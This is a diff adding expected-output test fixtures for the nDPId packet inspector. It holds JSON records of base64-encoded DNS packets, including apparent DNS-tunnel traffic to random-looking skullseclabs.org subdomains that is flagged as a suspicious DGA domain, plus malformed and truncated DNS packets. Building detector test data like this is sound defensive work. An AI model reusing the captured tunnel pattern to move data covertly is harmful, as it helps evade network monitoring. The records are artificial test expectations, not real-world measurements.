+00523{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":372,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012730,"pkt_ts_usec":437815,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"5LMYS\/DDAhoR+f4qCABFAAB0AABAADMRVXAEAgIEwKgrWwA1t3EAYGtAeT+BgAABAAEAAAAAEmI1NDEwMWU2ZGE4MzUxNmVhMgxza3VsbHNlY2xhYnMDb3JnAAAPAAHADAAPAAEAAAA8ABcAChI1YzRmMDFlNmRhNmVhMjgzNTHAHw=="} +00731{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":372,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":4,"flow_first_seen":1486012730177,"flow_last_seen":1486012730437,"flow_tot_l4_data_len":390,"flow_min_l4_data_len":61,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":97,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":46961,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"b54101e6da83516ea2.skullseclabs.org","num_queries":1,"num_answers":1,"reply_code":0,"query_type":15,"rsp_type":15,"rsp_addr":"0.0.0.0"}} +00473{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":373,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012731,"pkt_ts_usec":395086,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"AhoR+f4q5LMYS\/DDCABFAABRL1lAAEARGTrAqCtbBAICBLdxADUAPbE6V7kBAAABAAAAAAAAEjMxNzMwMWU2ZGE4MzUxNmVhMgxza3VsbHNlY2xhYnMDb3JnAAAQAAE="} +00731{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":373,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":5,"flow_first_seen":1486012730177,"flow_last_seen":1486012731395,"flow_tot_l4_data_len":451,"flow_min_l4_data_len":61,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":46961,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"317301e6da83516ea2.skullseclabs.org","num_queries":1,"num_answers":1,"reply_code":0,"query_type":16,"rsp_type":15,"rsp_addr":"0.0.0.0"}} +00515{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":374,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012731,"pkt_ts_usec":485911,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"5LMYS\/DDAhoR+f4qCABFAABwAABAADMRVXQEAgIEwKgrWwA1t3EAXCh8V7mBgAABAAEAAAAAEjMxNzMwMWU2ZGE4MzUxNmVhMgxza3VsbHNlY2xhYnMDb3JnAAAQAAHADAAQAAEAAAA8ABMSYzQ5MzAxZTZkYTZlYTI4MzUx"} +00731{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":374,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":6,"flow_first_seen":1486012730177,"flow_last_seen":1486012731485,"flow_tot_l4_data_len":543,"flow_min_l4_data_len":61,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.91","dst_ip":"4.2.2.4","src_port":46961,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"16":"Suspicious DGA domain name"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"317301e6da83516ea2.skullseclabs.org","num_queries":1,"num_answers":1,"reply_code":0,"query_type":16,"rsp_type":16,"rsp_addr":"0.0.0.0"}} +00736{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":375,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012732,"pkt_ts_usec":414191,"pkt_caplen":290,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":290,"pkt_l4_len":256,"pkt":"AhoR+f4q5LMYS\/DDCABFAAEUL4lAAEARGEfAqCtbBAICBLdxADUBAJjrdSEBAAABAAAAAAAAPGFjZTMwMWU2ZGE4MzUxNmVhMjQ3NmY2ZjY0MjA2Yzc1NjM2YjIxMjA1NDY4NjE3NDIwNzc2MTczMjA2NDw2ZTczNjM2MTc0MzIyMDc0NzI2MTY2NjY2OTYzMjA2ZjZlMjA2MTIwNjY2YzYxNmI3OTIwNjM2ZjZlNmU8NjU2Mzc0Njk2ZjZlMjA3NzY5NzQ2ODIwNmM2Zjc0NzMyMDZmNjYyMDcyNjUyZDc0NzI2MTZlNzM2ZDY5Hjc0NzMyZTIwNTM2NTcyNjk2Zjc1NzM2Yzc5MmMyMAxza3VsbHNlY2xhYnMDb3JnAAAFAAE="} +00780{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":376,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012732,"pkt_ts_usec":501587,"pkt_caplen":323,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":323,"pkt_l4_len":289,"pkt":"5LMYS\/DDAhoR+f4qCABFAAE1AABAADMRVK8EAgIEwKgrWwA1t3EBIdVsdSGBgAABAAEAAAAAPGFjZTMwMWU2ZGE4MzUxNmVhMjQ3NmY2ZjY0MjA2Yzc1NjM2YjIxMjA1NDY4NjE3NDIwNzc2MTczMjA2NDw2ZTczNjM2MTc0MzIyMDc0NzI2MTY2NjY2OTYzMjA2ZjZlMjA2MTIwNjY2YzYxNmI3OTIwNjM2ZjZlNmU8NjU2Mzc0Njk2ZjZlMjA3NzY5NzQ2ODIwNmM2Zjc0NzMyMDZmNjYyMDcyNjUyZDc0NzI2MTZlNzM2ZDY5Hjc0NzMyZTIwNTM2NTcyNjk2Zjc1NzM2Yzc5MmMyMAxza3VsbHNlY2xhYnMDb3JnAAAFAAHADAAFAAEAAAA8ABUSOWIxZjAxZTZkYTZlYTI4M2IxwOI="} +00511{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":377,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012732,"pkt_ts_usec":501994,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"AhoR+f4q5LMYS\/DDCABFAABtL5BAAEARGOfAqCtbBAICBLdxADUAWY4gBY0BAAABAAAAAAAALjY0NWIwMWU2ZGE4M2IxNmVhMjY3NmY2ZjY0MjA2Yzc1NjM2YjJlMjAzYTI5MGEMc2t1bGxzZWNsYWJzA29yZwAAEAAB"} +00557{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":378,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012732,"pkt_ts_usec":559040,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"5LMYS\/DDAhoR+f4qCABFAACMAABAADMRVVgEAgIEwKgrWwA1t3EAeLH5BY2BgAABAAEAAAAALjY0NWIwMWU2ZGE4M2IxNmVhMjY3NmY2ZjY0MjA2Yzc1NjM2YjJlMjAzYTI5MGEMc2t1bGxzZWNsYWJzA29yZwAAEAABwAwAEAABAAAAPAATEmFkYTYwMWU2ZGE2ZWEyODNiZg=="} +00474{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":379,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012732,"pkt_ts_usec":559413,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"AhoR+f4q5LMYS\/DDCABFAABRL5NAAEARGQDAqCtbBAICBLdxADUAPXWyLhQBAAABAAAAAAAAEjMzN2EwMWU2ZGE4M2JmNmVhMgxza3VsbHNlY2xhYnMDb3JnAAAQAAE="} +00516{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":380,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012732,"pkt_ts_usec":620037,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"5LMYS\/DDAhoR+f4qCABFAABwAABAADMRVXQEAgIEwKgrWwA1t3EAXPaPLhSBgAABAAEAAAAAEjMzN2EwMWU2ZGE4M2JmNmVhMgxza3VsbHNlY2xhYnMDb3JnAAAQAAHADAAQAAEAAAA8ABMSMjEzZTAxZTZkYTZlYTI4M2Jm"} +00474{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":381,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012733,"pkt_ts_usec":574897,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"AhoR+f4q5LMYS\/DDCABFAABRMElAAEARGErAqCtbBAICBLdxADUAPeYHvL4BAAABAAAAAAAAEjU0NWIwMWU2ZGE4M2JmNmVhMgxza3VsbHNlY2xhYnMDb3JnAAAPAAE="} +00524{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":382,"source":"bad-dns-traffic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1486012733,"pkt_ts_usec":669835,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"5LMYS\/DDAhoR+f4qCABFAAB0AABAADMRVXAEAgIEwKgrWwA1t3EAYDm3vL6BgAABAAEAAAAAEjU0NWIwMWU2ZGE4M2JmNmVhMgxza3VsbHNlY2xhYnMDb3JnAAAPAAHADAAPAAEAAAA8ABcAChJhOGRkMDFlNmRhNmVhMjgzYmbAHw=="} diff --git a/test/results/badpackets.pcap.out b/test/results/badpackets.pcap.out new file mode 100644 index 000000000..255c25318 --- /dev/null +++ b/test/results/badpackets.pcap.out @@ -0,0 +1,200 @@ +00667{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451029,"pkt_ts_usec":466717,"pkt_caplen":271,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":271,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcP1QgAOcRe9CDTlH+zLpQ5QA1zGcGtUqtAWiFkwABAAAADAABC3BobDFzcHJ0MTA4AmFkA2RsYQNtaWwAAAEAAcAbAAYAAQAAAh0ALQhlYWdsZWliMcAYC3JhbmR5LnNtaXRowBt3sikrAAAqMAAABDgACTqAAAADhMAbAC4AAQAAAh0AmwAGCAIAAAOEWS\/o5lkiq9Y2JANkbGEDbWlsAEPjY6zabVfm9vwk6mSh9m4kj9u7ZDlkxqtiglIZTh\/RONTC0jpNpQmC+rJg1+X5ptcybqG6dncq1KPvSJq3fG1w8VDIG7zJf7f6G9gikY9VMCGmBxLlsKtyxHORaw=="} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":237} +00711{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451030,"pkt_ts_usec":401327,"pkt_caplen":305,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":305,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXc9nogAOcRxKmDTlH+zLpQ5QA1PsIG13F6XwyFkwABAAAADAABC3BobDFzcHJ0MTA4BGRhYXMDZGxhA21pbAAAAQABwBgABgABAAAAbgAwCGVhZ2xlaWIxAmFkwB0LcmFuZHkuc21pdGjAHQExm5UAAAC0AAAAEgAJOoAAAAOEwBgALgABAAAAbgCgAAYIAwAAALRZLyttWSHuXTGGBGRhYXMDZGxhA21pbABfZgMcUaz74\/opjmPI6fIN7S4Ga9GN4s2JVqvb0uXXvbdLi9ee5JaFRYVlFB0RVerGRt3pX5esuSlY9ySHVHjOBX09ZI1nwdlSMxmFBY9ZemmmfYIR43tvzwqFnbufNVeL7\/vc0q83XBfNipWbDRE5bz+qVR8="} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":271} +00568{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451039,"pkt_ts_usec":146849,"pkt_caplen":195,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":195,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXc+0kgAD4R+SzH+X0BzLpQ5QA17UEGadbGg\/+EAAABAAcAAAABAmFjAmluAAAwAAHADAAwAAEAAAOEAIgBAAMHAwEAAaeWg1I7aL35m5DCbWdqIX1+dVtvwe4HaQJz7QrnwC+P8\/7Gi54fYbmoWgZ9BgFy+rRM5fLeLdyqgaAlGaU+qP7EB\/v\/pv\/GHQKcotJZ+biekG9TccSc6BYmV0hXKBRudE\/xZj\/qEl0HEAn3LKZa"} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":161} +00364{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451051,"pkt_ts_usec":753069,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcmCogADkR555F\/HiszLpQ5QA15twF1D2Yf1WEAA=="} +00189{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":4,"source":"badpackets.pcap","alias":"nDPId-test","caplen":46,"len":60} +00364{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451051,"pkt_ts_usec":753069,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcmCogADkR555F\/HiszLpQ5QA15twF1D2Yf1WEAA=="} +00174{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":26} +00673{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451098,"pkt_ts_usec":935701,"pkt_caplen":276,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":276,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXc\/u8gAOcRvDSDTlH+zLpQ5QA1ofQGuiMOhg6FkwABAAAADAABDG5jYjFzZHYwMDcyMQNkaXICYWQDZGxhA21pbAAAAQABwCAABgABAAAAmQAtCGVhZ2xlaWIxwB0LcmFuZHkuc21pdGjAIHeyKSsAACowAAAEOAAJOoAAAAOEwCAALgABAAAAmQCbAAYIAgAAA4RZL+jmWSKr1jYkA2RsYQNtaWwAQ+NjrNptV+b2\/CTqZKH2biSP27tkOWTGq2KCUhlOH9E41MLSOk2lCYL6smDX5fmm1zJuobp2dyrUo+9Imrd8bXDxUMgbvMl\/t\/ob2CKRj1UwIaYHEuWwq3LEc5Fr"} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":242} +00541{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451112,"pkt_ts_usec":63911,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW1QgADURSISMrBHtzLpQ5QA1RHoMIdhWPYOEEAABAA0ABAANCGVkZ2UtaGRxA3dvYwRub2FhA2dvdgAAAQABwAwABQABAAABLAAMB2VkZ2UtcDEBbMAZwAwALgABAAABLAEgAAUFBAAAASxZK4vIWSJRSL+OA3dvYwRub2FhA2dvdgAf19hoQ062mEgmdReiMHoN\/8sTkGCL+YszFpFSC7g="} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":145} +00979{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451113,"pkt_ts_usec":347704,"pkt_caplen":503,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":503,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsAAgADIR1DehNyACzLpQ5QA1P3oNZUi5Fp+EEAABAA8ABAANA3d3dwRzd3BjBG5vYWEDZ292AAABAAHADAAFAAEAAVGAAA8IZWRnZS1ud3MDd29jwBXADAAuAAEAAVGAASEABQUEAAFRgFkri7dZIlE3vjIEc3dwYwRub2FhA2dvdgAj4QRDWjZKG5AY0wcqp07zy2N5LWrEg0t\/4W81\/I\/yU9kryWY5M6hQke0XIJhE4dUH120W7nAkWxQJVaZyLoMQin38ZiK2SNs\/MeioL4jAC1CzjiZ9JGBmrvUXfwx4WjCIZO3AWpZFqZpBYNrilA5xXqA6vClBMfN6kWmnwyqYMUdmG8SPzKDGLoKCurB88lxuBmDxFiEc7IRKwyXcJ47WkYAmncTdtBPbcng8wUk\/OSHputwVXEiz+4Hi1YSwyaZ\/bR92tO2XAf2y65TJB549EX80zlNliCWrbo6CKiF1dSuOYR0v1cuBHf05mH4wAy8XKl6vLSm5lJ0SyJmHuu8SwC8ABQABAAABLAAMB2VkZ2UtcDEBbMBhwC8ALgABAAABLAEgAAUFBAAAASxZK4vIWSJRSL+OA3dvYwRub2FhA2dvdgCQTrqAqFPUlwzaSBYq8hc48+OOYcX3TV6bWxXaYm8="} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":469} +00788{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451113,"pkt_ts_usec":448546,"pkt_caplen":363,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":363,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsAEgADIR1DahNyACzLpQ5QA1FAoM2VerW6eEEAABAAYABAANA3d3dwNvcGMEbmNlcARub2FhA2dvdgAAAQABwAwABQABAAABLAAJBm9yaWdpbsAQwAwALgABAAABLAEhAAUFBQAAASxZK4tpWSJQ6VBkBG5jZXAEbm9hYQNnb3YAvM3K1OBR2VQQj4QVOGZxr6WG5B4+fABWkfGP1KGkGFsR4zOi7Eo7vmr2TJiaR66HfSMoitVNm4kwmQeusE1J+sPLARPh02h5Z1H+HsQ2b48KB6bVXbum1BeZX4yX1eoeScXJkBrFAe8F6pDF+Ml8UnuCbXzf+\/NtRUw9ZGk\/b8n+GLS5YEkLV6tINZ1NF7znVhYpo87DIH1d72melFmv8f65eH1mu6AzkUXSI502HCpox0\/KLdxxAP64c2LL03iQVYlgYQmiBnMT8YejrLi9PuDdsHa5wauH"} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":329} +01908{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451113,"pkt_ts_usec":710166,"pkt_caplen":1194,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1194,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsAIgADIR1DWhNyACzLpQ5QA1\/wMKUGaWU+KEEAABAAIABAANA3d3dw9saWdodG5pbmdzYWZldHkEbm9hYQNnb3YAAAEAAcAMAAEAAQAAASwABIxaccjADAAuAAEAAAEsARwAAQUEAAABLFkri31ZIlD9PnMEbm9hYQNnb3YAFBTQGedUPGXlY8bN43JvkPLP\/vLkCv4PmFD+Yp\/wKTn0+3B8hqXsIbo6jgqCi3hM+7l3yndT6nZEOODHtVyiul17+C7883eqnN76iy6lo9R1eEKHDTvsvSdJsQx2dFH5NYDWOOjTdL3jybIGoJFlbIi+hHfzKdzFb0fO0kDYAdFs0mGEVvk\/ydoCnsE67n5RXLgALUI8enDF8d5JUZ3gz4Jmmium7SfonREBNj5MfQvR1R1JvVYPQQEWggJtIusb+MaDn2Gu7eaN7\/yF8WIh6HnwxWN7Z+YBGUTnTr0qXbOrrAMUycgB\/+tQ+zRqQIpZcUyO0tGVISl48WAUZAKbu8BcAAIAAQABUYAACAVucy1td8BcwFwAAgABAAFRgAAIBW5zLW53wFzAXAACAAEAAVGAAAcEbnMtZcBcwFwALgABAAFRgAEcAAIFAgABUYBZK4t9WSJQ\/T5zBG5vYWEDZ292AH\/\/EM5XxGUAJzS0k3FL5gqwtJA4FBuTo0uxBkbdgNOM7eIqyHshwuqLDq45ztJouzzqb5\/+QwdCyRboRA6YQcMyduo30hAwZBPjCwFtGtCbCO0zddpUh\/DZBFgSPh2dFJqb9c9JuhHoz3+E4Y9URJn+5DpaoXNsnl89Rx6siUb+Rihm7C+Vk315amYja69lUQmg3PNcdUVXF76DLNDZ9f0J\/NtTrjCtrMqxXjzjQDEOf1LyNKCNPvCsDV8BtRjU3VnXwwNw9fAKyA0zjlIJMDcZHgtkbmrTB9mFGy8tMxbqfFpB+6mG8tYtHiQWLDq6x9iFxvHJ7caHhZ1nCy6pTLXBmgABAAEAAVGAAASMWiHtwZoAHAABAAFRgAAQJhAAIIAAjAAAAAAAAAACN8FyAAEAAQABUYAABIysEe3BcgAcAAEAAVGAABAmEAAgiACMAAAAAAAAAAI3wYYAAQABAAFRgAAEoTcgAsGGABwAAQABUYAAECYQACCMAIwAAAAAAAAAAALBmgAuAAEAAVGAARwAAQUDAAFRgFkri31ZIlD9PnMEbm9hYQNnb3YAHTxu3oTuiFuFiCLpTl\/MK89BN9JBGjfKVUZAF3gZCKhMwx34GFStLHWeXnyc0jpz6oB3UKoWYWqIzl5uLmkTVdATO05wGhRkXmoRFvqHJQ49RQ+pBTNvjvfsZjt4sxWFaBX6dcM71YC5bIV281hFIsnrSJ79QSihSBHieSy9t5YTGlF5LCJijNEWEHJYxDID1Mza+tXKdNXJWHbkQhQwRPJKGX91jqgFPlz4hmfje77PrtKaUJ8h5eApMH+gaNXsNFvzV3nB+6kGVXv2VWVXVPXI3XzMFa8CKHbYrFGd7LJ4f5PFB725JCBxTQ4KeEOuBE0WXVqE9VoK1uYoB4PAK8GaAC4AAQABUYAB"} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":9,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1160} +00842{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":10,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451113,"pkt_ts_usec":809047,"pkt_caplen":400,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":400,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsAQgADIR1DOhNyACzLpQ5QA1Z54M\/oF1LsqEEAABAAYABAANA3d3dw9hdmlhdGlvbndlYXRoZXIDZ292AAABAAHADAAFAAEAAAB4ABwPYXZpYXRpb253ZWF0aGVyBG5jZXAEbm9hYcAgwAwALgABAAAAeAEnAAUFAwAAAHhZK4siWSJQoibZD2F2aWF0aW9ud2VhdGhlcgNnb3YANj2uOA0qhMT+eoVBqvrrykuNqwkPVt8jdEhzF2Xc5aVSTWD5VljYyQWYC5vB2Pco+JCgeS7v+6P3ExqHKmNR0+\/rk7b14BLW1\/5AmNi\/7vapdiTq7yn43bnad9VKhNoyKYZcBBZ1b9tNkBEnELdSDbcDAQG053jlJWYvGHyMMJCHtDL+CPBtpJodRAacY+oZWSnBeiVMlLUCIdwUfsdnq5J46wTjS8+g3ZKLn4UR1XowHnaGOySsUz9hWM4CwtpTsVExgrAuWZ3ZCQmSQcr07tJKgCI7moO7D0IOvF0jbYwvdg=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":10,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":366} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":11,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451113,"pkt_ts_usec":881614,"pkt_caplen":59,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsAUgADIR1DKhNyACzLpQ5QA1J78LqfTQ7QyEEAABAAQABAAND2F2aWE="} +00190{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":11,"source":"badpackets.pcap","alias":"nDPId-test","caplen":59,"len":60} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":11,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451113,"pkt_ts_usec":881614,"pkt_caplen":59,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsAUgADIR1DKhNyACzLpQ5QA1J78LqfTQ7QyEEAABAAQABAAND2F2aWE="} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":11,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":26} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":12,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451113,"pkt_ts_usec":931523,"pkt_caplen":52,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW1ggADURSICMrBHtzLpQ5QA156AF2iNRhq2EEAABAAUAAA=="} +00190{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":12,"source":"badpackets.pcap","alias":"nDPId-test","caplen":52,"len":60} +00372{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":12,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451113,"pkt_ts_usec":931523,"pkt_caplen":52,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW1ggADURSICMrBHtzLpQ5QA156AF2iNRhq2EEAABAAUAAA=="} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":12,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":26} 